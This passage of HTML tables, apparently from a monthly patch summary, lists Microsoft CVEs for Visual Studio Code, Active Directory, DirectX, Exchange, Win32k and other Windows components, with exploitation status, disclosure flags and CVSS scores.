Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50506">CVE-2026-50506</a></td><td><p>OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45646">CVE-2026-45646</a></td><td><p>OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50520">CVE-2026-50520</a></td><td><p>Visual Studio Code Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45496">CVE-2026-45496</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57101">CVE-2026-57101</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57102">CVE-2026-57102</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47305">CVE-2026-47305</a></td><td><p>Visual Studio Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><h3>Device vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48581">CVE-2026-48581</a></td><td><p>Surface Broker SDMA Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>ESU vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54121">CVE-2026-54121</a></td><td><p>Active Directory Certificate Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50682">CVE-2026-50682</a></td><td><p>Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50647">CVE-2026-50647</a></td><td><p>Active Directory Federation Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50684">CVE-2026-50684</a></td><td><p>Active Directory Federation Server Spoofing Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>4.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56155">CVE-2026-56155</a></td><td><p>Active Directory Federation Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50491">CVE-2026-50491</a></td><td><p>Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50381">CVE-2026-50381</a></td><td><p>Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50427">CVE-2026-50427</a></td><td><p>Content Delivery Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50692">CVE-2026-50692</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48564">CVE-2026-48564</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50370">CVE-2026-50370</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56159">CVE-2026-56159</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50296">CVE-2026-50296</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50375">CVE-2026-50375</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50493">CVE-2026-50493</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56643">CVE-2026-56643</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56644">CVE-2026-56644</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58629">CVE-2026-58629</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50382">CVE-2026-50382</a></td><td><p>DirectX Graphics Kernel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49174">CVE-2026-49174</a></td><td><p>DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50495">CVE-2026-50495</a></td><td><p>DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49787">CVE-2026-49787</a></td><td><p>HTTP.sys Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49788">CVE-2026-49788</a></td><td><p>HTTP/2 Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50696">CVE-2026-50696</a></td><td><p>Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50329">CVE-2026-50329</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58541">CVE-2026-58541</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55006">CVE-2026-55006</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55009">CVE-2026-55009</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55005">CVE-2026-55005</a></td><td><p>Microsoft Exchange Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55008">CVE-2026-55008</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50343">CVE-2026-50343</a></td><td><p>Microsoft Install Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54992">CVE-2026-54992</a></td><td><p>Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50439">CVE-2026-50439</a></td><td><p>Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42900">CVE-2026-42900</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49784">CVE-2026-49784</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50356">CVE-2026-50356</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49165">CVE-2026-49165</a></td><td><p>Microsoft Windows App Store Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54993">CVE-2026-54993</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58610">CVE-2026-58610</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50655">CVE-2026-50655</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56189">CVE-2026-56189</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57090">CVE-2026-57090</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57094">CVE-2026-57094</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57087">CVE-2026-57087</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57092">CVE-2026-57092</a></td><td><p>Microsoft Windows VMSwitch Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50359">CVE-2026-50359</a></td><td><p>Microsoft XML Core Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57097">CVE-2026-57097</a></td><td><p>Microsoft XML Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50346">CVE-2026-50346</a></td><td><p>Netlogon RPC Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50402">CVE-2026-50402</a></td><td><p>NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54989">CVE-2026-54989</a></td><td><p>Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50365">CVE-2026-50365</a></td><td><p>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50474">CVE-2026-50474</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58594">CVE-2026-58594</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56190">CVE-2026-56190</a></td><td><p>Remote Desktop Protocol Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49783">CVE-2026-49783</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42990">CVE-2026-42990</a></td><td><p>SQL Server ODBC driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49168">CVE-2026-49168</a></td><td><p>Storage Spaces Direct Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49180">CVE-2026-49180</a></td><td><p>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50455">CVE-2026-50455</a></td><td><p>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58601">CVE-2026-58601</a></td><td><p>Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49805">CVE-2026-49805</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50297">CVE-2026-50297</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50325">CVE-2026-50325</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50489">CVE-2026-50489</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57095">CVE-2026-57095</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56184">CVE-2026-56184</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50432"><br>CVE-2026-50432</a></td><td><p>Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54119">CVE-2026-54119</a></td><td><p>Windows Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57976">CVE-2026-57976</a></td><td><p>Windows Active Directory Domain Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50366">CVE-2026-50366</a></td><td><p>Windows Active Directory Domain Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49164">CVE-2026-49164</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49178">CVE-2026-49178</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54983">CVE-2026-54983</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50695">CVE-2026-50695</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50304">CVE-2026-50304</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50368">CVE-2026-50368</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50324">CVE-2026-50324</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50355">CVE-2026-50355</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50411">CVE-2026-50411</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50312">CVE-2026-50312</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50462">CVE-2026-50462</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57093">CVE-2026-57093</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34346">CVE-2026-34346</a></td><td><p>Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50400">CVE-2026-50400</a></td><td><p>Windows App Package Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50331">CVE-2026-50331</a></td><td><p>Windows Application Model Core API Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49803">CVE-2026-49803</a></td><td><p>Windows AppX Deployment Extensions Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50351">CVE-2026-50351</a></td><td><p>Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34328">CVE-2026-34328</a></td><td><p>Windows Audio Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50406">CVE-2026-50406</a></td><td><p>Windows Backup Engine Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50364">CVE-2026-50364</a></td><td><p>Windows Backup Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50661">CVE-2026-50661</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>Yes</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42975">CVE-2026-42975</a></td><td><p>Windows Bluetooth Port Driver Remote Code Execution</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58538">CVE-2026-58538</a></td><td><p>Windows Bluetooth Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58638">CVE-2026-58638</a></td><td><p>Windows Boot Loader Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58637">CVE-2026-58637</a></td><td><p>Windows Client-Side Caching Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50384">CVE-2026-50384</a></td><td><p>Windows Clip Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49183">CVE-2026-49183</a></td><td><p>Windows Clipboard Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50689">CVE-2026-50689</a></td><td><p>Windows Clipboard Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50374">CVE-2026-50374</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58536">CVE-2026-58536</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More 